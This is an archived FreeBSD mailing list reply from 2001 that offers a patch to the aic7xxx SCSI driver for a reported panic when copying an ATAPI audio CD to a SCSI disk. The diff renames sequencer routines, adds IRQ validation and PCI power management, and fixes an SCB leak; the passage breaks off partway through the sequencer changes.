owner-freebsd-stable Sun Mar 11 18:44:51 2001 Delivered-To: freebsd-stable@freebsd.org Received: from aslan.scsiguy.com (aslan.scsiguy.com [63.229.232.106]) by hub.freebsd.org (Postfix) with ESMTP id 1615937B718 for ; Sun, 11 Mar 2001 18:43:47 -0800 (PST) (envelope-from gibbs@scsiguy.com) Received: from scsiguy.com (localhost [127.0.0.1]) by aslan.scsiguy.com (8.11.2/8.9.3) with ESMTP id f2C2hT600664; Sun, 11 Mar 2001 19:43:29 -0700 (MST) (envelope-from gibbs@scsiguy.com) Message-Id: <200103120243.f2C2hT600664@aslan.scsiguy.com> To: John Polstra Cc: stable@freebsd.org Subject: Re: Repeatable panic copying ATAPI audio CD to SCSI disk In-Reply-To: Your message of "Sun, 11 Mar 2001 17:57:49 PST." Date: Sun, 11 Mar 2001 19:43:29 -0700 From: "Justin T. Gibbs" Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG >With a 4.3-BETA kernel from today (and also with one from a month or >two ago) I can easily induce a panic by trying to copy an audio CD >from an ATAPI drive to a SCSI disk on an ahc controller using this >command: The panic looks familiar, but I can't quite recall what the bug was. Can you try the attached patch and see if the problem persists? This will bring you up to date with what is in -current. -- Justin Index: ahc_eisa.c =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/ahc_eisa.c,v retrieving revision 1.15.2.3 diff -u -r1.15.2.3 ahc_eisa.c --- ahc_eisa.c 2001/01/27 20:56:22 1.15.2.3 +++ ahc_eisa.c 2001/03/11 04:26:23 @@ -180,7 +180,7 @@ } int -aic7770_map_int(struct ahc_softc *ahc) +aic7770_map_int(struct ahc_softc *ahc, int irq) { int zero; Index: ahc_pci.c =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/ahc_pci.c,v retrieving revision 1.29.2.5 diff -u -r1.29.2.5 ahc_pci.c --- ahc_pci.c 2001/01/27 20:56:22 1.29.2.5 +++ ahc_pci.c 2001/03/08 22:52:10 @@ -213,3 +213,38 @@ ahc->platform_data->irq_res_type = SYS_RES_IRQ; return (0); } + +void +ahc_power_state_change(struct ahc_softc *ahc, ahc_power_state new_state) +{ + uint32_t cap; + u_int cap_offset; + + /* + * Traverse the capability list looking for + * the power management capability. + */ + cap = 0; + cap_offset = ahc_pci_read_config(ahc->dev_softc, + PCIR_CAP_PTR, /*bytes*/1); + while (cap_offset != 0) { + + cap = ahc_pci_read_config(ahc->dev_softc, + cap_offset, /*bytes*/4); + if ((cap & 0xFF) == 1 + && ((cap >> 16) & 0x3) > 0) { + uint32_t pm_control; + + pm_control = ahc_pci_read_config(ahc->dev_softc, + cap_offset + 4, + /*bytes*/4); + pm_control &= ~0x3; + pm_control |= new_state; + ahc_pci_write_config(ahc->dev_softc, + cap_offset + 4, + pm_control, /*bytes*/2); + break; + } + cap_offset = (cap >> 8) & 0xFF; + } +} Index: aic7770.c =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7770.c,v retrieving revision 1.1.2.2 diff -u -r1.1.2.2 aic7770.c --- aic7770.c 2001/01/27 20:56:23 1.1.2.2 +++ aic7770.c 2001/03/11 04:27:13 @@ -29,7 +29,7 @@ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: //depot/src/aic7xxx/aic7770.c#4 $ + * $Id: //depot/src/aic7xxx/aic7770.c#8 $ * * $FreeBSD: src/sys/dev/aic7xxx/aic7770.c,v 1.1.2.2 2001/01/27 20:56:23 gibbs Exp $ */ @@ -101,6 +101,8 @@ struct ahc_probe_config probe_config; int error; u_int hostconf; + u_int irq; + u_int intdef; ahc_init_probe_config(&probe_config); error = entry->setup(ahc->dev_softc, &probe_config); @@ -114,11 +116,30 @@ probe_config.description = entry->name; error = ahc_softc_init(ahc, &probe_config); - error = aic7770_map_int(ahc); + error = ahc_reset(ahc); if (error != 0) return (error); - error = ahc_reset(ahc); + /* Make sure we have a valid interrupt vector */ + intdef = ahc_inb(ahc, INTDEF); + irq = intdef & VECTOR; + switch (irq) { + case 9: + case 10: + case 11: + case 12: + case 14: + case 15: + break; + default: + printf("aic7770_config: illegal irq setting %d\n", intdef); + return (ENXIO); + } + + if ((intdef & EDGE_TRIG) != 0) + ahc->flags |= AHC_EDGE_INTERRUPT; + + error = aic7770_map_int(ahc, irq); if (error != 0) return (error); @@ -135,7 +156,7 @@ /* Get the primary channel information */ if ((biosctrl & CHANNEL_B_PRIMARY) != 0) - ahc->flags |= AHC_CHANNEL_B_PRIMARY; + ahc->flags |= 1; if ((biosctrl & BIOSMODE) == BIOSDISABLED) { ahc->flags |= AHC_USEDEFAULTS; Index: aic7xxx.c =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7xxx.c,v retrieving revision 1.41.2.16 diff -u -r1.41.2.16 aic7xxx.c --- aic7xxx.c 2001/02/21 20:51:22 1.41.2.16 +++ aic7xxx.c 2001/03/11 04:53:43 @@ -28,7 +28,7 @@ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: //depot/src/aic7xxx/aic7xxx.c#30 $ + * $Id: //depot/src/aic7xxx/aic7xxx.c#34 $ * * $FreeBSD: src/sys/dev/aic7xxx/aic7xxx.c,v 1.41.2.16 2001/02/21 20:51:22 gibbs Exp $ */ @@ -66,9 +66,17 @@ "aic7892", "aic7899" }; -const u_int num_chip_names = NUM_ELEMENTS(ahc_chip_names); +static const u_int num_chip_names = NUM_ELEMENTS(ahc_chip_names); -struct hard_error_entry hard_error[] = { +/* + * Hardware error codes. + */ +struct ahc_hard_error_entry { + uint8_t errno; + char *errmesg; +}; + +static struct ahc_hard_error_entry ahc_hard_errors[] = { { ILLHADDR, "Illegal Host Access" }, { ILLSADDR, "Illegal Sequencer Address referrenced" }, { ILLOPCODE, "Illegal Opcode in sequencer program" }, @@ -78,9 +86,9 @@ { PCIERRSTAT, "PCI Error detected" }, { CIOPARERR, "CIOBUS Parity Error" }, }; -const u_int num_errors = NUM_ELEMENTS(hard_error); +static const u_int num_errors = NUM_ELEMENTS(ahc_hard_errors); -struct phase_table_entry phase_table[] = +static struct ahc_phase_table_entry ahc_phase_table[] = { { P_DATAOUT, MSG_NOOP, "in Data-out phase" }, { P_DATAIN, MSG_INITIATOR_DET_ERR, "in Data-in phase" }, @@ -98,14 +106,14 @@ * In most cases we only wish to itterate over real phases, so * exclude the last element from the count. */ -const u_int num_phases = NUM_ELEMENTS(phase_table) - 1; +static const u_int num_phases = NUM_ELEMENTS(ahc_phase_table) - 1; /* * Valid SCSIRATE values. (p. 3-17) * Provides a mapping of tranfer periods in ns to the proper value to * stick in the scsixfer reg. */ -struct ahc_syncrate ahc_syncrates[] = +static struct ahc_syncrate ahc_syncrates[] = { /* ultra2 fast/ultra period rate */ { 0x42, 0x000, 9, "80.0" }, @@ -226,10 +234,11 @@ * Restart the sequencer program from address zero */ void -restart_sequencer(struct ahc_softc *ahc) +ahc_restart(struct ahc_softc *ahc) { + + ahc_pause(ahc); - pause_sequencer(ahc); ahc_outb(ahc, SCSISIGO, 0); /* De-assert BSY */ ahc_outb(ahc, MSG_OUT, MSG_NOOP); /* No message to send */ ahc_outb(ahc, SXFRCTL1, ahc_inb(ahc, SXFRCTL1) & ~BITBUCKET); @@ -252,11 +261,21 @@ ahc_outb(ahc, CCSGCTL, 0); ahc_outb(ahc, CCSCBCTL, 0); } + /* + * If we were in the process of DMA'ing SCB data into + * an SCB, replace that SCB on the free list. This prevents + * an SCB leak. + */ + if ((ahc_inb(ahc, SEQ_FLAGS2) & SCB_DMA) != 0) { + ahc_add_curscb_to_free_list(ahc); + ahc_outb(ahc, SEQ_FLAGS2, + ahc_inb(ahc, SEQ_FLAGS2) & ~SCB_DMA); + } ahc_outb(ahc, MWI_RESIDUAL, 0); ahc_outb(ahc, SEQCTL, FASTMODE); ahc_outb(ahc, SEQADDR0, 0); ahc_outb(ahc, SEQADDR1, 0); - unpause_sequencer(ahc); + ahc_unpause(ahc); } /************************* Input/Output Queues ********************************/ @@ -337,14 +356,14 @@ * We upset the sequencer :-( * Lookup the error message */ - int i, error, num_errors; + int i; + int error; error = ahc_inb(ahc, ERROR); - num_errors = sizeof(hard_error)/sizeof(hard_error[0]); for (i = 0; error != 1 && i < num_errors; i++) error >>= 1; printf("%s: brkadrint, %s at seqaddr = 0x%x\n", - ahc_name(ahc), hard_error[i].errmesg, + ahc_name(ahc), ahc_hard_errors[i].errmesg, ahc_inb(ahc, SEQADDR0) | (ahc_inb(ahc, SEQADDR1) << 8)); @@ -630,7 +649,7 @@ "Lastphase = 0x%x, Curphase = 0x%x\n", ahc_name(ahc), devinfo.channel, devinfo.target, lastphase, ahc_inb(ahc, SCSISIGI)); - restart_sequencer(ahc); + ahc_restart(ahc); return; } case HOST_MSG_LOOP: @@ -660,7 +679,7 @@ * we got here. Just punt the message. */ ahc_clear_intstat(ahc); - restart_sequencer(ahc); + ahc_restart(ahc); return; } @@ -746,13 +765,13 @@ scb = ahc_lookup_scb(ahc, scbindex); for (i = 0; i < num_phases; i++) { - if (lastphase == phase_table[i].phase) + if (lastphase == ahc_phase_table[i].phase) break; } ahc_print_path(ahc, scb); printf("data overrun detected %s." " Tag == 0x%x.\n", - phase_table[i].phasemsg, + ahc_phase_table[i].phasemsg, scb->hscb->tag); ahc_print_path(ahc, scb); printf("%s seen Data Phase. Length = %ld. NumSGs = %d.\n", @@ -855,7 +874,7 @@ * a SEQINT, so we should restart it when * we're done. */ - unpause_sequencer(ahc); + ahc_unpause(ahc); } void @@ -894,7 +913,7 @@ if (status == 0) { printf("%s: Spurious SCSI interrupt\n", ahc_name(ahc)); ahc_outb(ahc, CLRINT, CLRSCSIINT); - unpause_sequencer(ahc); + ahc_unpause(ahc); return; } } @@ -972,10 +991,10 @@ errorphase = lastphase; for (i = 0; i < num_phases; i++) { - if (errorphase == phase_table[i].phase) + if (errorphase == ahc_phase_table[i].phase) break; } - mesg_out = phase_table[i].mesg_out; + mesg_out = ahc_phase_table[i].mesg_out; if (scb != NULL) ahc_print_path(ahc, scb); else @@ -984,7 +1003,7 @@ scsirate = ahc_inb(ahc, SCSIRATE); printf("parity error detected %s. " "SEQADDR(0x%x) SCSIRATE(0x%x)\n", - phase_table[i].phasemsg, + ahc_phase_table[i].phasemsg, ahc_inb(ahc, SEQADDR0) | (ahc_inb(ahc, SEQADDR1) << 8), scsirate); @@ -1015,7 +1034,7 @@ ahc_outb(ahc, MSG_OUT, mesg_out); } ahc_outb(ahc, CLRINT, CLRSCSIINT); - unpause_sequencer(ahc); + ahc_unpause(ahc); } else if ((status & BUSFREE) != 0 && (ahc_inb(ahc, SIMODE1) & ENBUSFREE) != 0) { u_int lastphase; @@ -1171,17 +1190,18 @@ printf("%s: ", ahc_name(ahc)); } for (i = 0; i < num_phases; i++) { - if (lastphase == phase_table[i].phase) + if (lastphase == ahc_phase_table[i].phase) break; } printf("Unexpected busfree %s\n" "SEQADDR == 0x%x\n", - phase_table[i].phasemsg, ahc_inb(ahc, SEQADDR0) + ahc_phase_table[i].phasemsg, + ahc_inb(ahc, SEQADDR0) | (ahc_inb(ahc, SEQADDR1) << 8)); } ahc_clear_msg_state(ahc); ahc_outb(ahc, CLRINT, CLRSCSIINT); - restart_sequencer(ahc); + ahc_restart(ahc); } else if ((status & SELTO) != 0) { u_int scbptr; @@ -1218,7 +1238,7 @@ ahc_freeze_devq(ahc, scb); } ahc_outb(ahc, CLRINT, CLRSCSIINT); - restart_sequencer(ahc); + ahc_restart(ahc); } else { printf("%s: Missing case in ahc_handle_scsiint. status = %x\n", ahc_name(ahc), status); @@ -1287,7 +1307,7 @@ ahc_outb(ahc, HCNTRL, ahc->unpause); do { ahc_delay(200); - } while (!sequencer_paused(ahc)); + } while (!ahc_is_paused(ahc)); } if (stepping) { ahc_outb(ahc, SIMODE0, simode0); @@ -1450,7 +1470,8 @@ /* Can't do DT on an SE bus */ *ppr_options &= ~MSG_EXT_PPR_DT_REQ; } - } else if ((ahc->features & AHC_ULTRA) != 0) { + } else if ((ahc->features & AHC_ULTRA) != 0 + && (ahc->flags & AHC_ULTRA_DISABLED) == 0) { maxsync = AHC_SYNCRATE_ULTRA; } else { maxsync = AHC_SYNCRATE_FAST; @@ -1667,7 +1688,7 @@ if (ahc->targ_msg_req != targ_msg_req_orig) { /* Update the message request bit for this target */ if (!paused) - pause_sequencer(ahc); + ahc_pause(ahc); ahc_outb(ahc, TARGET_MSG_REQUEST, ahc->targ_msg_req & 0xFF); @@ -1675,7 +1696,7 @@ (ahc->targ_msg_req >> 8) & 0xFF); if (!paused) - unpause_sequencer(ahc); + ahc_unpause(ahc); } } @@ -1981,6 +2002,23 @@ role); } +struct ahc_phase_table_entry* +ahc_lookup_phase_entry(int phase) +{ + struct ahc_phase_table_entry *entry; + int i; + + /* + * num_phases doesn't include the default entry which + * will be returned if the phase doesn't match. + */ + for (i = 0, entry = ahc_phase_table; i < num_phases; i++) { + if (phase == entry->phase) + break; + } + return (entry); +} + void ahc_compile_devinfo(struct ahc_devinfo *devinfo, u_int our_id, u_int target, u_int lun, char channel, role_t role) @@ -2254,7 +2292,7 @@ ahc->msgout_len = 0; ahc->msgin_index = 0; ahc->msg_type = MSG_TYPE_NONE; - if ((ahc_inb(ahc, SCSISIGI) & ATNI) == 0) { + if ((ahc_inb(ahc, SCSISIGI) & ATNI) != 0) { /* * The target didn't care to respond to our * message request, so clear ATN. @@ -2875,7 +2913,7 @@ "offset %x, options %x\n", ahc_name(ahc), devinfo->channel, devinfo->target, devinfo->lun, - ahc->msgin_buf[3], saved_width, + saved_width, ahc->msgin_buf[3], saved_offset, saved_ppr_options, bus_width, period, offset, ppr_options); } @@ -2902,7 +2940,7 @@ CAM_BDR_SENT, "Bus Device Reset Received", /*verbose_level*/0); - restart_sequencer(ahc); + ahc_restart(ahc); done = MSGLOOP_TERMINATED; break; case MSG_ABORT_TAG: @@ -3356,29 +3394,37 @@ { struct ahc_softc *list_ahc; -#ifdef AHC_SUPPORT_PCI +#if AHC_PCI_CONFIG > 0 /* * Second Function PCI devices need to inherit some - * settings from function 0. We assume that function 0 - * will always be found prior to function 1. + * settings from function 0. */ if ((ahc->chip & AHC_BUS_MASK) == AHC_PCI - && ahc_get_pci_function(ahc->dev_softc) == 1) { + && (ahc->features & AHC_MULTI_FUNC) != 0) { TAILQ_FOREACH(list_ahc, &ahc_tailq, links) { ahc_dev_softc_t list_pci; ahc_dev_softc_t pci; list_pci = list_ahc->dev_softc; pci = ahc->dev_softc; - if (ahc_get_pci_bus(list_pci) == ahc_get_pci_bus(pci) - && ahc_get_pci_slot(list_pci) == ahc_get_pci_slot(pci) - && ahc_get_pci_function(list_pci) == 0) { - ahc->flags &= ~AHC_BIOS_ENABLED; - ahc->flags |= - list_ahc->flags & AHC_BIOS_ENABLED; - ahc->flags &= ~AHC_CHANNEL_B_PRIMARY; - ahc->flags |= - list_ahc->flags & AHC_CHANNEL_B_PRIMARY; + if (ahc_get_pci_slot(list_pci) == ahc_get_pci_slot(pci) + && ahc_get_pci_bus(list_pci) == ahc_get_pci_bus(pci)) { + struct ahc_softc *master; + struct ahc_softc *slave; + + if (ahc_get_pci_function(list_pci) == 0) { + master = list_ahc; + slave = ahc; + } else { + master = ahc; + slave = list_ahc; + } + slave->flags &= ~AHC_BIOS_ENABLED; + slave->flags |= + master->flags & AHC_BIOS_ENABLED; + slave->flags &= ~AHC_PRIMARY_CHANNEL; + slave->flags |= + master->flags & AHC_PRIMARY_CHANNEL; break; } } @@ -3519,7 +3565,7 @@ * It contains settings that affect termination and we don't want * to disturb the integrity of the bus. */ - pause_sequencer(ahc); + ahc_pause(ahc); sxfrctl1_b = 0; if ((ahc->chip & AHC_CHIPID_MASK) == AHC_AIC7770) { u_int sblkctl; @@ -3957,7 +4003,7 @@ len = sprintf(buf, "Twin Channel, A SCSI Id=%d, " "B SCSI Id=%d, primary %c, ", ahc->our_id, ahc->our_id_b, - ahc->flags & AHC_CHANNEL_B_PRIMARY ? 'B': 'A'); + (ahc->flags & AHC_PRIMARY_CHANNEL) + 'A'); else { const char *type; @@ -4134,6 +4180,7 @@ } ahc_outb(ahc, SEQ_FLAGS, 0); + ahc_outb(ahc, SEQ_FLAGS2, 0); if (ahc->scb_data->maxhscbs < AHC_SCB_MAX) { ahc->flags |= AHC_PAGESCBS; @@ -4218,6 +4265,8 @@ ultraenb = (ahc_inb(ahc, ULTRA_ENB + 1) << 8) | ahc_inb(ahc, ULTRA_ENB); } + if ((ahc->flags & AHC_ULTRA_DISABLED) != 0) + ultraenb = 0; if ((ahc->features & (AHC_WIDE|AHC_TWIN)) == 0) max_targ = 7; @@ -4274,6 +4323,9 @@ offset = MAX_OFFSET_ULTRA2; } else offset = ahc_inb(ahc, TARG_OFFSET + i); + if ((scsirate & ~WIDEXFER) == 0 && offset != 0) + /* Set to the lowest sync rate, 5MHz */ + scsirate |= 0x1c; maxsync = AHC_SYNCRATE_ULTRA2; if ((ahc->features & AHC_DT) != 0) maxsync = AHC_SYNCRATE_DT; @@ -4302,6 +4354,8 @@ if (tinfo->user.period != 0) tinfo->user.offset = ~0; } + if (tinfo->user.period == 0) + tinfo->user.offset = 0; if ((scsirate & WIDEXFER) != 0 && (ahc->features & AHC_WIDE) != 0) tinfo->user.width = MSG_EXT_WDTR_BUS_16_BIT; @@ -4438,12 +4492,12 @@ * never settle, so don't complain if we * fail here. */ - pause_sequencer(ahc); + ahc_pause(ahc); for (wait = 5000; (ahc_inb(ahc, SBLKCTL) & (ENAB40|ENAB20)) == 0 && wait; wait--) ahc_delay(100); - unpause_sequencer(ahc); + ahc_unpause(ahc); } return (0); } @@ -4466,7 +4520,7 @@ intstat = 0; do { ahc_intr(ahc); - pause_sequencer(ahc); + ahc_pause(ahc); ahc_clear_critical_section(ahc); if (intstat == 0xFF && (ahc->features & AHC_REMOVABLE) != 0) break; @@ -5397,7 +5451,7 @@ CAM_TARGET_WILDCARD, CAM_LUN_WILDCARD, channel, ROLE_UNKNOWN); - pause_sequencer(ahc); + ahc_pause(ahc); /* Make sure the sequencer is in a safe location. */ ahc_clear_critical_section(ahc); @@ -5512,9 +5566,9 @@ } if (restart_needed) - restart_sequencer(ahc); + ahc_restart(ahc); else - unpause_sequencer(ahc); + ahc_unpause(ahc); return found; } @@ -5813,7 +5867,7 @@ memcpy(ahc->critical_sections, cs_table, cs_count); } ahc_outb(ahc, SEQCTL, PERRORDIS|FAILDIS|FASTMODE); - restart_sequencer(ahc); + ahc_restart(ahc); if (bootverbose) printf(" %d instructions downloaded\n", downloaded); @@ -6215,7 +6269,7 @@ ahc->flags |= AHC_TARGETROLE; if ((ahc->features & AHC_MULTIROLE) == 0) ahc->flags &= ~AHC_INITIATORROLE; - pause_sequencer(ahc); + ahc_pause(ahc); ahc_loadseq(ahc); ahc_unlock(ahc, &s); } @@ -6284,7 +6338,7 @@ SLIST_INIT(&lstate->accept_tios); SLIST_INIT(&lstate->immed_notifies); ahc_lock(ahc, &s); - pause_sequencer(ahc); + ahc_pause(ahc); if (target != CAM_TARGET_WILDCARD) { tstate->enabled_luns[lun] = lstate; ahc->enabled_luns++; @@ -6348,7 +6402,7 @@ scsiseq |= ENSELI; ahc_outb(ahc, SCSISEQ, scsiseq); } - unpause_sequencer(ahc); + ahc_unpause(ahc); ahc_unlock(ahc, &s); ccb->ccb_h.status = CAM_REQ_CMP; xpt_print_path(ccb->ccb_h.path); @@ -6398,7 +6452,7 @@ xpt_free_path(lstate->path); free(lstate, M_DEVBUF); - pause_sequencer(ahc); + ahc_pause(ahc); /* Can we clean up the target too? */ if (target != CAM_TARGET_WILDCARD) { tstate->enabled_luns[lun] = NULL; @@ -6451,11 +6505,11 @@ printf("Configuring Initiator Mode\n"); ahc->flags &= ~AHC_TARGETROLE; ahc->flags |= AHC_INITIATORROLE; - pause_sequencer(ahc); + ahc_pause(ahc); ahc_loadseq(ahc); } } - unpause_sequencer(ahc); + ahc_unpause(ahc); ahc_unlock(ahc, &s); } } @@ -6537,11 +6591,11 @@ ahc_outb(ahc, HS_MAILBOX, hs_mailbox); } else { if (!paused) - pause_sequencer(ahc); + ahc_pause(ahc); ahc_outb(ahc, KERNEL_TQINPOS, ahc->tqinfifonext & HOST_TQINPOS); if (!paused) - unpause_sequencer(ahc); + ahc_unpause(ahc); } } } Index: aic7xxx.h =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7xxx.h,v retrieving revision 1.16.2.9 diff -u -r1.16.2.9 aic7xxx.h --- aic7xxx.h 2001/02/10 18:11:35 1.16.2.9 +++ aic7xxx.h 2001/03/11 04:54:19 @@ -28,7 +28,7 @@ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: //depot/src/aic7xxx/aic7xxx.h#18 $ + * $Id: //depot/src/aic7xxx/aic7xxx.h#22 $ * * $FreeBSD: src/sys/dev/aic7xxx/aic7xxx.h,v 1.16.2.9 2001/02/10 18:11:35 gibbs Exp $ */ @@ -286,50 +286,56 @@ * chip/controller's configuration. */ typedef enum { - AHC_FNONE = 0x000, - AHC_PAGESCBS = 0x001,/* Enable SCB paging */ - AHC_CHANNEL_B_PRIMARY = 0x002,/* - * On twin channel adapters, probe - * channel B first since it is the - * primary bus. + AHC_FNONE = 0x000, + AHC_PRIMARY_CHANNEL = 0x003,/* + * The channel that should + * be probed first. */ - AHC_USEDEFAULTS = 0x004,/* + AHC_USEDEFAULTS = 0x004,/* * For cards without an seeprom * or a BIOS to initialize the chip's * SRAM, we use the default target * settings. */ - AHC_SEQUENCER_DEBUG = 0x008, - AHC_SHARED_SRAM = 0x010, - AHC_LARGE_SEEPROM = 0x020,/* Uses C56_66 not C46 */ - AHC_RESET_BUS_A = 0x040, - AHC_RESET_BUS_B = 0x080, - AHC_EXTENDED_TRANS_A = 0x100, - AHC_EXTENDED_TRANS_B = 0x200, - AHC_TERM_ENB_A = 0x400, - AHC_TERM_ENB_B = 0x800, - AHC_INITIATORROLE = 0x1000,/* + AHC_SEQUENCER_DEBUG = 0x008, + AHC_SHARED_SRAM = 0x010, + AHC_LARGE_SEEPROM = 0x020,/* Uses C56_66 not C46 */ + AHC_RESET_BUS_A = 0x040, + AHC_RESET_BUS_B = 0x080, + AHC_EXTENDED_TRANS_A = 0x100, + AHC_EXTENDED_TRANS_B = 0x200, + AHC_TERM_ENB_A = 0x400, + AHC_TERM_ENB_B = 0x800, + AHC_INITIATORROLE = 0x1000,/* * Allow initiator operations on * this controller. */ - AHC_TARGETROLE = 0x2000,/* + AHC_TARGETROLE = 0x2000,/* * Allow target operations on this * controller. */ - AHC_NEWEEPROM_FMT = 0x4000, - AHC_RESOURCE_SHORTAGE = 0x8000, - AHC_TQINFIFO_BLOCKED = 0x10000,/* Blocked waiting for ATIOs */ - AHC_INT50_SPEEDFLEX = 0x20000,/* + AHC_NEWEEPROM_FMT = 0x4000, + AHC_RESOURCE_SHORTAGE = 0x8000, + AHC_TQINFIFO_BLOCKED = 0x10000,/* Blocked waiting for ATIOs */ + AHC_INT50_SPEEDFLEX = 0x20000,/* * Internal 50pin connector * sits behind an aic3860 */ - AHC_SCB_BTT = 0x40000,/* + AHC_SCB_BTT = 0x40000,/* * The busy targets table is * stored in SCB space rather * than SRAM. */ - AHC_BIOS_ENABLED = 0x80000, - AHC_ALL_INTERRUPTS = 0x100000 + AHC_BIOS_ENABLED = 0x80000, + AHC_ALL_INTERRUPTS = 0x100000, + AHC_ULTRA_DISABLED = 0x200000, /* + * The precision resistor for + * ultra transmission speeds is + * missing, so we must limit + * ourselves to fast SCSI. + */ + AHC_PAGESCBS = 0x400000, /* Enable SCB paging */ + AHC_EDGE_INTERRUPT = 0x800000 /* Device uses edge triggered ints */ } ahc_flag; /* @@ -705,32 +711,14 @@ /***************************** Lookup Tables **********************************/ /* - * Textual descriptions of the different chips indexed by chip type. - */ -extern char *ahc_chip_names[]; -extern const u_int num_chip_names; - -/* - * Hardware error codes. - */ -struct hard_error_entry { - uint8_t errno; - char *errmesg; -}; -extern struct hard_error_entry hard_error[]; -extern const u_int num_errors; - -/* * Phase -> name and message out response * to parity errors in each phase table. */ -struct phase_table_entry { +struct ahc_phase_table_entry { uint8_t phase; uint8_t mesg_out; /* Message response to parity errors */ char *phasemsg; }; -extern struct phase_table_entry phase_table[]; -extern const u_int num_phases; /************************** Serial EEPROM Format ******************************/ @@ -782,7 +770,8 @@ #define CFMULTILUN 0x0020 /* SCSI low byte term (284x cards) */ #define CFRESETB 0x0040 /* reset SCSI bus at boot */ #define CFCLUSTERENB 0x0080 /* Cluster Enable */ -#define CFCHNLBPRIMARY 0x0100 /* aic7895 probe B channel first */ +#define CFBOOTCHAN 0x0300 /* probe this channel first */ +#define CFBOOTCHANSHIFT 8 #define CFSEAUTOTERM 0x0400 /* Ultra2 Perform secondary Auto Term*/ #define CFSELOWTERM 0x0800 /* Ultra2 secondary low term */ #define CFSEHIGHTERM 0x1000 /* Ultra2 secondary high term */ @@ -1137,8 +1126,10 @@ void ahc_freeze_devq(struct ahc_softc *ahc, struct scb *scb); int ahc_reset_channel(struct ahc_softc *ahc, char channel, int initiate_reset); -void restart_sequencer(struct ahc_softc *ahc); +void ahc_restart(struct ahc_softc *ahc); /*************************** Utility Functions ********************************/ +struct ahc_phase_table_entry* + ahc_lookup_phase_entry(int phase); void ahc_compile_devinfo(struct ahc_devinfo *devinfo, u_int our_id, u_int target, u_int lun, char channel, Index: aic7xxx.reg =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7xxx.reg,v retrieving revision 1.20.2.7 diff -u -r1.20.2.7 aic7xxx.reg --- aic7xxx.reg 2001/02/10 18:11:36 1.20.2.7 +++ aic7xxx.reg 2001/03/11 04:54:37 @@ -28,7 +28,7 @@ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: //depot/src/aic7xxx/aic7xxx.reg#12 $ + * $Id: //depot/src/aic7xxx/aic7xxx.reg#14 $ * * $FreeBSD: src/sys/dev/aic7xxx/aic7xxx.reg,v 1.20.2.7 2001/02/10 18:11:36 gibbs Exp $ */ @@ -877,6 +877,7 @@ address 0x094 access_mode RO bit PRELOAD_AVAIL 0x80 + bit DFCACHETH 0x40 bit DWORDEMP 0x20 bit MREQPEND 0x10 bit HDONE 0x08 @@ -1456,6 +1457,10 @@ size 1 } + SEQ_FLAGS2 { + size 1 + bit SCB_DMA 0x01 + } /* * These are reserved registers in the card's scratch ram. Some of * the values are specified in the AHA2742 technical reference manual Index: aic7xxx.seq =================================================================== RCS file: /usr/cvs/src/sys/dev/aic7xxx/aic7xxx.seq,v retrieving revision 1.94.2.10 diff -u -r1.94.2.10 aic7xxx.seq --- aic7xxx.seq 2001/02/21 20:51:25 1.94.2.10 +++ aic7xxx.seq 2001/03/11 04:54:55 @@ -28,7 +28,7 @@ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * - * $Id: //depot/src/aic7xxx/aic7xxx.seq#20 $ + * $Id: //depot/src/aic7xxx/aic7xxx.seq#23 $ * * $FreeBSD: src/sys/dev/aic7xxx/aic7xxx.seq,v 1.94.2.10 2001/02/21 20:51:25 gibbs Exp $ */ @@ -88,7 +88,6 @@ cmp KERNEL_QINPOS, A je poll_for_work_loop; } mov ARG_1, NEXT_QUEUED_SCB; -END_CRITICAL /* * We have at least one queued SCB now and we don't have any @@ -101,6 +100,8 @@ /* In the non-paging case, the SCBID == hardware SCB index */ mov SCBPTR, ARG_1; } + or SEQ_FLAGS2, SCB_DMA; +END_CRITICAL dma_queued_scb: /* * DMA the SCB from host ram into the current SCB location. @@ -128,6 +129,7 @@ } else { inc QINPOS; } + and SEQ_FLAGS2, ~SCB_DMA; END_CRITICAL start_waiting: /* @@ -692,69 +694,75 @@ adc SCB_RESIDUAL_SGPTR[2],A; adc SCB_RESIDUAL_SGPTR[3],A ret; +if ((ahc->features & AHC_CMD_CHAN) != 0) { +disable_ccsgen: + test CCSGCTL, CCSGEN jz return; + test CCSGCTL, CCSGDONE jz .; +disable_ccsgen_fetch_done: + clr CCSGCTL; + test CCSGCTL, CCSGEN jnz .; + ret; idle_loop: - if ((ahc->features & AHC_CMD_CHAN) != 0) { - /* Did we just finish fetching segs? */ - cmp CCSGCTL, CCSGEN|CCSGDONE je idle_sgfetch_complete; + /* Did we just finish fetching segs? */ + cmp CCSGCTL, CCSGEN|CCSGDONE je idle_sgfetch_complete; - /* Are we actively fetching segments? */ - test CCSGCTL, CCSGEN jnz return; + /* Are we actively fetching segments? */ + test CCSGCTL, CCSGEN jnz return; - /* - * Do we need any more segments? - */ - test SCB_RESIDUAL_DATACNT[3], SG_LAST_SEG jnz return; + /* + * Do we need any more segments? + */ + test SCB_RESIDUAL_DATACNT[3], SG_LAST_SEG jnz return; - /* - * Do we have any prefetch left??? - */ - cmp CCSGADDR, SG_PREFETCH_CNT jne idle_sg_avail; + /* + * Do we have any prefetch left??? + */ + cmp CCSGADDR, SG_PREFETCH_CNT jne idle_sg_avail; - /* - * Need to fetch segments, but we can only do that - * if the command channel is completely idle. Make - * sure we don't have an SCB prefetch going on. - */ - test CCSCBCTL, CCSCBEN jnz return; + /* + * Need to fetch segments, but we can only do that + * if the command channel is completely idle. Make + * sure we don't have an SCB prefetch going on. + */ + test CCSCBCTL, CCSCBEN jnz return; - /* - * We fetch a "cacheline aligned" and sized amount of data - * so we don't end up referencing a non-existant page. - * Cacheline aligned is in quotes 